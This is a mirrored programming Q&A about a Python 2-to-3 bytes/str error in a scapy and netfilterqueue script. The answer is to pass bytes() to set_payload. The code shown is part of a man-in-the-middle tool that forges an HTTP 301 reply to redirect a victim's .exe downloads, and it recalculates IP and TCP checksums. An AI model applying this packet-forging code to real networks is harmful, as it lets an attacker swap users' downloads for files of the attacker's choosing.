简体   繁体   中英

TypeError: Argument 'payload' has incorrect type (expected bytes, got str). How can I fix it? Why it works on Python 2 but not using Python 3?

I am pretty new in Python and I have the following problem using *scapy** library. Here you can find the entire code (but I think that it is not so important because the error is on a specific line: https://github.com/AndreaNobili/replace_download/blob/master/replace_download.py )

Into a Python 2 project I have the following two lines:

modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: https://www.rarlab.com/rar/wrar590.exe\n\n")

# Replace the original packet payload with the packet forget by scapy:
packet.set_payload(str(modified_packet))

This is the code of my set_load() function:

def set_load(packet, load):
    #pdb.set_trace()
    print("set_load() START")

    # When the victim try to download a ".exe" file he\she is redirected to this other ".exe" link:
    packet[scapy.Raw].load = load
    # The value of the following fields are changed because the file is changed, they will be removed and
    # scapy automatically recalculate the values of these fields inserting the correct values:
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

So basically I am forging a packet using scapy , finally I am setting the payload of the original packet variable with the payload forged by Scapy :

packet.set_payload(str(modified_packet))

NOTE: The packet variable is not a **scapy packet but a packet obtained using netfilterqueue

Running my script with Python 2 it works fine but using Python 3 this last line give me the following error:

TypeError: Argument 'payload' has incorrect type (expected bytes, got str)
> /root/Documents/PycharmWS/replace_download/replace_download.py(61)process_packet()
-> packet.set_payload(str(modified_packet))  

So I am converting the scapy packet into a string and then I am setting the payload of the original netfilterqueue packet but it seems that it is expecting a bytes

How can I fix this problem? What am I missing?

Another doubt is: why Python 2 it is working fine? I suspect that the netfilterqueue dependency version used by Python 2 is slightly different from the one used by Python 3 and in the old version expected a string instead a bytes parameter. Is this reasoning correct or am I missing something?

Python 3 uses "bytes" on the wire. Instead of using str() , use bytes() . Have a look at http://python-future.org/compatible_idioms.html#strings-and-bytes for a great comparison of what you should be doing on Py3 vs on Py2.

In your case, just do

packet.set_payload(bytes(modified_packet))

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM